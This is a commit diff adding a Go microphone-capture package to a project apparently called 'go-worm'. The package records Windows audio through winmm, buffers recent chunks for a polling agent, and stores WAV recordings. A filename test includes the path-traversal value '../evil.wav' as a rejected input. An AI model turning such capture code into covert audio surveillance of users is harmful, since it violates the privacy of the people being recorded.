Audio
This commit is contained in:
@@ -0,0 +1,15 @@
|
||||
package mic
|
||||
|
||||
// ponytail: cap listen buffer at 5s; excess dropped from front (slow poll won't OOM agent).
|
||||
const maxChunkPCM = SampleRate * BytesPerSample * 5
|
||||
|
||||
func appendChunkPCM(buf []byte, pcm []byte) []byte {
|
||||
if len(pcm) == 0 {
|
||||
return buf
|
||||
}
|
||||
buf = append(buf, pcm...)
|
||||
if len(buf) <= maxChunkPCM {
|
||||
return buf
|
||||
}
|
||||
return append([]byte(nil), buf[len(buf)-maxChunkPCM:]...)
|
||||
}
|
||||
@@ -0,0 +1,20 @@
|
||||
package mic
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestAppendChunkPCMCaps(t *testing.T) {
|
||||
t.Parallel()
|
||||
half := maxChunkPCM / 2
|
||||
buf := appendChunkPCM(nil, bytes.Repeat([]byte{1}, half))
|
||||
buf = appendChunkPCM(buf, bytes.Repeat([]byte{2}, half))
|
||||
buf = appendChunkPCM(buf, bytes.Repeat([]byte{3}, half))
|
||||
if len(buf) != maxChunkPCM {
|
||||
t.Fatalf("len = %d, want %d", len(buf), maxChunkPCM)
|
||||
}
|
||||
if buf[0] != 2 {
|
||||
t.Fatalf("first byte = %d, want 2 (oldest chunk dropped)", buf[0])
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,76 @@
|
||||
package mic
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"time"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
)
|
||||
|
||||
type FileInfo struct {
|
||||
Name string `json:"name"`
|
||||
Size int64 `json:"size"`
|
||||
ModifiedTime time.Time `json:"modified_time"`
|
||||
}
|
||||
|
||||
func Dir() (string, error) {
|
||||
return config.MicDir()
|
||||
}
|
||||
|
||||
func ListRecordings() ([]FileInfo, error) {
|
||||
dir, err := Dir()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
return nil, nil
|
||||
}
|
||||
return nil, err
|
||||
}
|
||||
var files []FileInfo
|
||||
for _, entry := range entries {
|
||||
if entry.IsDir() || !ValidRecordingFilename(entry.Name()) {
|
||||
continue
|
||||
}
|
||||
info, err := entry.Info()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
files = append(files, FileInfo{
|
||||
Name: entry.Name(),
|
||||
Size: info.Size(),
|
||||
ModifiedTime: info.ModTime(),
|
||||
})
|
||||
}
|
||||
sort.Slice(files, func(i, j int) bool {
|
||||
return files[i].ModifiedTime.After(files[j].ModifiedTime)
|
||||
})
|
||||
return files, nil
|
||||
}
|
||||
|
||||
func OpenRecording(name string) (*os.File, os.FileInfo, error) {
|
||||
if !ValidRecordingFilename(name) {
|
||||
return nil, nil, os.ErrInvalid
|
||||
}
|
||||
dir, err := Dir()
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
path := filepath.Join(dir, filepath.Base(name))
|
||||
info, err := os.Stat(path)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if info.IsDir() {
|
||||
return nil, nil, os.ErrInvalid
|
||||
}
|
||||
file, err := os.Open(path)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
return file, info, nil
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
package mic
|
||||
|
||||
import (
|
||||
"errors"
|
||||
)
|
||||
|
||||
var (
|
||||
ErrDeviceNotFound = errors.New("microphone not found")
|
||||
ErrAlreadyRecording = errors.New("already recording")
|
||||
ErrNotRecording = errors.New("not recording")
|
||||
ErrNoAudio = errors.New("no audio available")
|
||||
)
|
||||
|
||||
type Device struct {
|
||||
Index int `json:"index"`
|
||||
Name string `json:"name"`
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
//go:build !windows
|
||||
|
||||
package mic
|
||||
|
||||
import "errors"
|
||||
|
||||
func List() ([]Device, error) {
|
||||
return nil, errors.New("microphone is only available on Windows")
|
||||
}
|
||||
|
||||
func Chunk(int) ([]byte, error) {
|
||||
return nil, errors.New("microphone is only available on Windows")
|
||||
}
|
||||
|
||||
func StartRecord(int) (string, error) {
|
||||
return "", errors.New("microphone is only available on Windows")
|
||||
}
|
||||
|
||||
func StopRecord() (string, int64, error) {
|
||||
return "", 0, errors.New("microphone is only available on Windows")
|
||||
}
|
||||
|
||||
func Recording() bool { return false }
|
||||
|
||||
func Stop() {}
|
||||
@@ -0,0 +1,443 @@
|
||||
//go:build windows
|
||||
|
||||
package mic
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||
)
|
||||
|
||||
const (
|
||||
callbackEvent = 0x00050000
|
||||
whdrDone = 0x00000001
|
||||
numBuffers = 3
|
||||
bufferMillis = 200
|
||||
idleClose = 2 * time.Second
|
||||
maxDeviceName = 32
|
||||
)
|
||||
|
||||
var (
|
||||
winmm = windows.NewLazySystemDLL("winmm.dll")
|
||||
procWaveInGetNumDevs = winmm.NewProc("waveInGetNumDevs")
|
||||
procWaveInGetDevCapsW = winmm.NewProc("waveInGetDevCapsW")
|
||||
procWaveInOpen = winmm.NewProc("waveInOpen")
|
||||
procWaveInClose = winmm.NewProc("waveInClose")
|
||||
procWaveInPrepareHeader = winmm.NewProc("waveInPrepareHeader")
|
||||
procWaveInUnprepareHeader = winmm.NewProc("waveInUnprepareHeader")
|
||||
procWaveInAddBuffer = winmm.NewProc("waveInAddBuffer")
|
||||
procWaveInStart = winmm.NewProc("waveInStart")
|
||||
procWaveInReset = winmm.NewProc("waveInReset")
|
||||
)
|
||||
|
||||
type waveFormatEx struct {
|
||||
FormatTag uint16
|
||||
Channels uint16
|
||||
SamplesPerSec uint32
|
||||
AvgBytesPerSec uint32
|
||||
BlockAlign uint16
|
||||
BitsPerSample uint16
|
||||
Size uint16
|
||||
}
|
||||
|
||||
type waveInCaps struct {
|
||||
Mid uint16
|
||||
Pid uint16
|
||||
DriverVersion uint32
|
||||
Name [maxDeviceName]uint16
|
||||
Formats uint32
|
||||
WChannels uint16
|
||||
Reserved uint16
|
||||
}
|
||||
|
||||
type waveHdr struct {
|
||||
Data uintptr
|
||||
BufferLength uint32
|
||||
BytesRecorded uint32
|
||||
User uintptr
|
||||
Flags uint32
|
||||
Loops uint32
|
||||
Next uintptr
|
||||
Reserved uintptr
|
||||
}
|
||||
|
||||
type captureBuffer struct {
|
||||
hdr waveHdr
|
||||
data []byte
|
||||
}
|
||||
|
||||
var (
|
||||
mu sync.Mutex
|
||||
sess *captureSession
|
||||
)
|
||||
|
||||
type captureSession struct {
|
||||
device int
|
||||
hWave uintptr
|
||||
event windows.Handle
|
||||
stopCh chan struct{}
|
||||
doneOnce sync.Once
|
||||
doneCh chan struct{}
|
||||
buffers []captureBuffer
|
||||
chunkPCM []byte
|
||||
rec *fileRecorder
|
||||
recName string
|
||||
lastPoll time.Time
|
||||
}
|
||||
|
||||
func List() ([]Device, error) {
|
||||
n, _, _ := procWaveInGetNumDevs.Call()
|
||||
count := int(n)
|
||||
var out []Device
|
||||
for i := 0; i < count; i++ {
|
||||
var caps waveInCaps
|
||||
ok, _, _ := procWaveInGetDevCapsW.Call(
|
||||
uintptr(i),
|
||||
uintptr(unsafe.Pointer(&caps)),
|
||||
unsafe.Sizeof(caps),
|
||||
)
|
||||
if ok != 0 {
|
||||
continue
|
||||
}
|
||||
name := windows.UTF16ToString(caps.Name[:])
|
||||
if name == "" {
|
||||
name = fmt.Sprintf("Microphone %d", i)
|
||||
}
|
||||
out = append(out, Device{Index: i, Name: name})
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func Chunk(device int) ([]byte, error) {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
if err := ensureSessionLocked(device); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
sess.lastPoll = time.Now()
|
||||
pcm := append([]byte(nil), sess.chunkPCM...)
|
||||
sess.chunkPCM = nil
|
||||
if len(pcm) == 0 {
|
||||
return nil, ErrNoAudio
|
||||
}
|
||||
return EncodeWAV(pcm), nil
|
||||
}
|
||||
|
||||
func StartRecord(device int) (string, error) {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
if sess != nil && sess.rec != nil {
|
||||
return "", ErrAlreadyRecording
|
||||
}
|
||||
if err := ensureSessionLocked(device); err != nil {
|
||||
return "", err
|
||||
}
|
||||
name := RecordingFilename(time.Now())
|
||||
rec, err := openRecorder(name)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
sess.rec = rec
|
||||
sess.recName = name
|
||||
sess.lastPoll = time.Now()
|
||||
return name, nil
|
||||
}
|
||||
|
||||
func StopRecord() (string, int64, error) {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
if sess == nil || sess.rec == nil {
|
||||
return "", 0, ErrNotRecording
|
||||
}
|
||||
name := sess.recName
|
||||
size, err := sess.rec.Close()
|
||||
sess.rec = nil
|
||||
sess.recName = ""
|
||||
return name, size, err
|
||||
}
|
||||
|
||||
func Recording() bool {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
return sess != nil && sess.rec != nil
|
||||
}
|
||||
|
||||
func Stop() {
|
||||
mu.Lock()
|
||||
stopSessionLocked()
|
||||
mu.Unlock()
|
||||
}
|
||||
|
||||
func ensureSessionLocked(device int) error {
|
||||
if sess != nil && sess.device == device && sess.hWave != 0 {
|
||||
return nil
|
||||
}
|
||||
stopSessionLocked()
|
||||
return startSessionLocked(device)
|
||||
}
|
||||
|
||||
func startSessionLocked(device int) error {
|
||||
if err := deviceExists(device); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
event, err := windows.CreateEvent(nil, 0, 0, nil)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
format := waveFormatEx{
|
||||
FormatTag: 1,
|
||||
Channels: Channels,
|
||||
SamplesPerSec: SampleRate,
|
||||
AvgBytesPerSec: SampleRate * Channels * BytesPerSample,
|
||||
BlockAlign: Channels * BytesPerSample,
|
||||
BitsPerSample: BitsPerSample,
|
||||
}
|
||||
|
||||
var hWave uintptr
|
||||
bufBytes := SampleRate * BytesPerSample * bufferMillis / 1000
|
||||
if bufBytes < 1024 {
|
||||
bufBytes = 1024
|
||||
}
|
||||
|
||||
ok, _, callErr := procWaveInOpen.Call(
|
||||
uintptr(unsafe.Pointer(&hWave)),
|
||||
uintptr(device),
|
||||
uintptr(unsafe.Pointer(&format)),
|
||||
uintptr(event),
|
||||
0,
|
||||
callbackEvent,
|
||||
)
|
||||
if ok != 0 {
|
||||
windows.CloseHandle(event)
|
||||
if callErr != nil && callErr != syscall.Errno(0) {
|
||||
return callErr
|
||||
}
|
||||
return fmt.Errorf("waveInOpen failed")
|
||||
}
|
||||
|
||||
s := &captureSession{
|
||||
device: device,
|
||||
hWave: hWave,
|
||||
event: event,
|
||||
stopCh: make(chan struct{}),
|
||||
doneCh: make(chan struct{}),
|
||||
lastPoll: time.Now(),
|
||||
}
|
||||
for i := 0; i < numBuffers; i++ {
|
||||
cb := captureBuffer{data: make([]byte, bufBytes)}
|
||||
if err := prepareBuffer(hWave, &cb); err != nil {
|
||||
closeCapture(s)
|
||||
return err
|
||||
}
|
||||
s.buffers = append(s.buffers, cb)
|
||||
}
|
||||
|
||||
sess = s
|
||||
go runCaptureLoop(s)
|
||||
go runIdleWatcher(s)
|
||||
|
||||
ok, _, callErr = procWaveInStart.Call(hWave)
|
||||
if ok != 0 {
|
||||
stopSessionLocked()
|
||||
if callErr != nil && callErr != syscall.Errno(0) {
|
||||
return callErr
|
||||
}
|
||||
return fmt.Errorf("waveInStart failed")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func deviceExists(device int) error {
|
||||
devices, err := List()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
for _, d := range devices {
|
||||
if d.Index == device {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
return ErrDeviceNotFound
|
||||
}
|
||||
|
||||
func prepareBuffer(hWave uintptr, cb *captureBuffer) error {
|
||||
if len(cb.data) == 0 {
|
||||
return errors.New("empty capture buffer")
|
||||
}
|
||||
cb.hdr = waveHdr{
|
||||
Data: uintptr(unsafe.Pointer(&cb.data[0])),
|
||||
BufferLength: uint32(len(cb.data)),
|
||||
}
|
||||
ok, _, err := procWaveInPrepareHeader.Call(
|
||||
hWave,
|
||||
uintptr(unsafe.Pointer(&cb.hdr)),
|
||||
unsafe.Sizeof(cb.hdr),
|
||||
)
|
||||
if ok != 0 {
|
||||
if err != nil && err != syscall.Errno(0) {
|
||||
return err
|
||||
}
|
||||
return errors.New("waveInPrepareHeader failed")
|
||||
}
|
||||
ok, _, err = procWaveInAddBuffer.Call(
|
||||
hWave,
|
||||
uintptr(unsafe.Pointer(&cb.hdr)),
|
||||
unsafe.Sizeof(cb.hdr),
|
||||
)
|
||||
if ok != 0 {
|
||||
_, _, _ = procWaveInUnprepareHeader.Call(hWave, uintptr(unsafe.Pointer(&cb.hdr)), unsafe.Sizeof(cb.hdr))
|
||||
if err != nil && err != syscall.Errno(0) {
|
||||
return err
|
||||
}
|
||||
return errors.New("waveInAddBuffer failed")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func runIdleWatcher(s *captureSession) {
|
||||
defer helpers.RecoverLog("mic-idle")
|
||||
ticker := time.NewTicker(500 * time.Millisecond)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-s.stopCh:
|
||||
return
|
||||
case <-ticker.C:
|
||||
mu.Lock()
|
||||
if sess == s && s.rec == nil && time.Since(s.lastPoll) > idleClose {
|
||||
stopSessionLocked()
|
||||
}
|
||||
mu.Unlock()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func runCaptureLoop(s *captureSession) {
|
||||
defer s.finish()
|
||||
defer helpers.RecoverLog("mic-capture")
|
||||
for {
|
||||
select {
|
||||
case <-s.stopCh:
|
||||
return
|
||||
default:
|
||||
}
|
||||
wait, err := windows.WaitForSingleObject(s.event, 500)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if wait == uint32(windows.WAIT_TIMEOUT) {
|
||||
continue
|
||||
}
|
||||
if wait != windows.WAIT_OBJECT_0 {
|
||||
continue
|
||||
}
|
||||
|
||||
var broken bool
|
||||
mu.Lock()
|
||||
if sess != s {
|
||||
mu.Unlock()
|
||||
return
|
||||
}
|
||||
for i := range s.buffers {
|
||||
cb := &s.buffers[i]
|
||||
if cb.hdr.Flags&whdrDone == 0 {
|
||||
continue
|
||||
}
|
||||
n := int(cb.hdr.BytesRecorded)
|
||||
if n > len(cb.data) {
|
||||
n = len(cb.data)
|
||||
}
|
||||
if n > 0 {
|
||||
pcm := append([]byte(nil), cb.data[:n]...)
|
||||
s.chunkPCM = appendChunkPCM(s.chunkPCM, pcm)
|
||||
if s.rec != nil {
|
||||
if err := s.rec.Write(pcm); err != nil {
|
||||
helpers.Log.Printf("mic record: %v", err)
|
||||
_, _ = s.rec.Close()
|
||||
s.rec = nil
|
||||
s.recName = ""
|
||||
}
|
||||
}
|
||||
}
|
||||
cb.hdr.Flags &^= whdrDone
|
||||
cb.hdr.BytesRecorded = 0
|
||||
_, _, _ = procWaveInUnprepareHeader.Call(s.hWave, uintptr(unsafe.Pointer(&cb.hdr)), unsafe.Sizeof(cb.hdr))
|
||||
if err := prepareBuffer(s.hWave, cb); err != nil {
|
||||
helpers.Log.Printf("mic buffer: %v", err)
|
||||
broken = true
|
||||
}
|
||||
}
|
||||
mu.Unlock()
|
||||
if broken {
|
||||
mu.Lock()
|
||||
if sess == s {
|
||||
sess = nil
|
||||
}
|
||||
mu.Unlock()
|
||||
signalCaptureStop(s)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (s *captureSession) finish() {
|
||||
s.doneOnce.Do(func() { close(s.doneCh) })
|
||||
}
|
||||
|
||||
// stopSessionLocked drops the session. Caller must hold mu.
|
||||
// Never wait on capture shutdown while holding mu (deadlock with capture loop).
|
||||
func stopSessionLocked() {
|
||||
if sess == nil {
|
||||
return
|
||||
}
|
||||
s := sess
|
||||
sess = nil
|
||||
mu.Unlock()
|
||||
closeCapture(s)
|
||||
mu.Lock()
|
||||
}
|
||||
|
||||
func closeCapture(s *captureSession) {
|
||||
signalCaptureStop(s)
|
||||
<-s.doneCh
|
||||
}
|
||||
|
||||
func signalCaptureStop(s *captureSession) {
|
||||
if s == nil {
|
||||
return
|
||||
}
|
||||
select {
|
||||
case <-s.stopCh:
|
||||
default:
|
||||
close(s.stopCh)
|
||||
}
|
||||
if s.hWave != 0 {
|
||||
_, _, _ = procWaveInReset.Call(s.hWave)
|
||||
for i := range s.buffers {
|
||||
cb := &s.buffers[i]
|
||||
_, _, _ = procWaveInUnprepareHeader.Call(s.hWave, uintptr(unsafe.Pointer(&cb.hdr)), unsafe.Sizeof(cb.hdr))
|
||||
}
|
||||
_, _, _ = procWaveInClose.Call(s.hWave)
|
||||
s.hWave = 0
|
||||
}
|
||||
if s.rec != nil {
|
||||
if _, err := s.rec.Close(); err != nil {
|
||||
helpers.Log.Printf("mic record close: %v", err)
|
||||
}
|
||||
s.rec = nil
|
||||
s.recName = ""
|
||||
}
|
||||
if s.event != 0 {
|
||||
windows.CloseHandle(s.event)
|
||||
s.event = 0
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
package mic
|
||||
|
||||
import (
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"time"
|
||||
)
|
||||
|
||||
const recordingLayout = "2006-01-02-150405"
|
||||
|
||||
var recordingPattern = regexp.MustCompile(`^\d{4}-\d{2}-\d{2}-\d{6}\.wav$`)
|
||||
|
||||
func RecordingFilename(t time.Time) string {
|
||||
return t.Local().Format(recordingLayout) + ".wav"
|
||||
}
|
||||
|
||||
func ValidRecordingFilename(name string) bool {
|
||||
return recordingPattern.MatchString(filepath.Base(name))
|
||||
}
|
||||
@@ -0,0 +1,74 @@
|
||||
package mic
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
)
|
||||
|
||||
type fileRecorder struct {
|
||||
path string
|
||||
f *os.File
|
||||
written int64
|
||||
}
|
||||
|
||||
func openRecorder(name string) (*fileRecorder, error) {
|
||||
dir, err := Dir()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := os.MkdirAll(dir, 0o700); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
path := filepath.Join(dir, filepath.Base(name))
|
||||
f, err := os.OpenFile(path, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o600)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
hdr := make([]byte, wavHeaderSize)
|
||||
writeWAVHeader(hdr, 0)
|
||||
if _, err := f.Write(hdr); err != nil {
|
||||
_ = f.Close()
|
||||
return nil, err
|
||||
}
|
||||
return &fileRecorder{path: path, f: f}, nil
|
||||
}
|
||||
|
||||
func (r *fileRecorder) Write(pcm []byte) error {
|
||||
if len(pcm) == 0 {
|
||||
return nil
|
||||
}
|
||||
if r.written+int64(len(pcm)) > config.MaxUploadSize {
|
||||
return fmt.Errorf("recording exceeds %d bytes", config.MaxUploadSize)
|
||||
}
|
||||
n, err := r.f.Write(pcm)
|
||||
r.written += int64(n)
|
||||
return err
|
||||
}
|
||||
|
||||
func (r *fileRecorder) Close() (int64, error) {
|
||||
if r.f == nil {
|
||||
return 0, nil
|
||||
}
|
||||
hdr := make([]byte, wavHeaderSize)
|
||||
writeWAVHeader(hdr, int(r.written))
|
||||
if _, err := r.f.Seek(0, 0); err != nil {
|
||||
_ = r.f.Close()
|
||||
r.f = nil
|
||||
return r.written, err
|
||||
}
|
||||
if _, err := r.f.Write(hdr); err != nil {
|
||||
_ = r.f.Close()
|
||||
r.f = nil
|
||||
return r.written, err
|
||||
}
|
||||
err := r.f.Close()
|
||||
r.f = nil
|
||||
return r.written, err
|
||||
}
|
||||
|
||||
func (r *fileRecorder) basename() string {
|
||||
return filepath.Base(r.path)
|
||||
}
|
||||
@@ -0,0 +1,61 @@
|
||||
package mic
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
)
|
||||
|
||||
const (
|
||||
SampleRate = 16000
|
||||
Channels = 1
|
||||
BitsPerSample = 16
|
||||
BytesPerSample = BitsPerSample / 8 * Channels
|
||||
)
|
||||
|
||||
var wavHeaderSize = 44
|
||||
|
||||
// EncodeWAV wraps 16-bit mono PCM in a complete WAV file.
|
||||
func EncodeWAV(pcm []byte) []byte {
|
||||
if len(pcm) == 0 {
|
||||
return nil
|
||||
}
|
||||
if len(pcm)%BytesPerSample != 0 {
|
||||
pcm = pcm[:len(pcm)-len(pcm)%BytesPerSample]
|
||||
}
|
||||
out := make([]byte, wavHeaderSize+len(pcm))
|
||||
writeWAVHeader(out, len(pcm))
|
||||
copy(out[wavHeaderSize:], pcm)
|
||||
return out
|
||||
}
|
||||
|
||||
func writeWAVHeader(buf []byte, dataLen int) {
|
||||
if len(buf) < wavHeaderSize {
|
||||
return
|
||||
}
|
||||
copy(buf[0:4], "RIFF")
|
||||
binary.LittleEndian.PutUint32(buf[4:8], uint32(36+dataLen))
|
||||
copy(buf[8:12], "WAVE")
|
||||
copy(buf[12:16], "fmt ")
|
||||
binary.LittleEndian.PutUint32(buf[16:20], 16)
|
||||
binary.LittleEndian.PutUint16(buf[20:22], 1) // PCM
|
||||
binary.LittleEndian.PutUint16(buf[22:24], Channels)
|
||||
binary.LittleEndian.PutUint32(buf[24:28], SampleRate)
|
||||
byteRate := SampleRate * Channels * BytesPerSample
|
||||
binary.LittleEndian.PutUint32(buf[28:32], uint32(byteRate))
|
||||
binary.LittleEndian.PutUint16(buf[32:34], uint16(Channels*BytesPerSample))
|
||||
binary.LittleEndian.PutUint16(buf[34:36], BitsPerSample)
|
||||
copy(buf[36:40], "data")
|
||||
binary.LittleEndian.PutUint32(buf[40:44], uint32(dataLen))
|
||||
}
|
||||
|
||||
// PCMBytesFromWAV returns PCM payload length implied by a WAV header.
|
||||
func PCMBytesFromWAV(hdr []byte) (int, error) {
|
||||
if len(hdr) < wavHeaderSize {
|
||||
return 0, errors.New("wav header too short")
|
||||
}
|
||||
if string(hdr[0:4]) != "RIFF" || string(hdr[8:12]) != "WAVE" {
|
||||
return 0, errors.New("not a wav file")
|
||||
}
|
||||
dataLen := int(binary.LittleEndian.Uint32(hdr[40:44]))
|
||||
return dataLen, nil
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
package mic
|
||||
|
||||
import (
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestEncodeWAVRoundTrip(t *testing.T) {
|
||||
t.Parallel()
|
||||
pcm := make([]byte, 3200)
|
||||
for i := range pcm {
|
||||
pcm[i] = byte(i % 256)
|
||||
}
|
||||
wav := EncodeWAV(pcm)
|
||||
if len(wav) != wavHeaderSize+len(pcm) {
|
||||
t.Fatalf("wav len = %d, want %d", len(wav), wavHeaderSize+len(pcm))
|
||||
}
|
||||
got, err := PCMBytesFromWAV(wav)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got != len(pcm) {
|
||||
t.Fatalf("pcm bytes = %d, want %d", got, len(pcm))
|
||||
}
|
||||
}
|
||||
|
||||
func TestRecordingFilename(t *testing.T) {
|
||||
t.Parallel()
|
||||
name := RecordingFilename(mustTime("2006-01-02T15:04:05"))
|
||||
if name != "2006-01-02-150405.wav" {
|
||||
t.Fatalf("name = %q", name)
|
||||
}
|
||||
if !ValidRecordingFilename(name) {
|
||||
t.Fatal("expected valid filename")
|
||||
}
|
||||
if ValidRecordingFilename("../evil.wav") {
|
||||
t.Fatal("expected invalid filename")
|
||||
}
|
||||
}
|
||||
|
||||
func mustTime(s string) (t time.Time) {
|
||||
t, _ = time.ParseInLocation("2006-01-02T15:04:05", s, time.Local)
|
||||
return t
|
||||
}
|
||||
Reference in New Issue
Block a user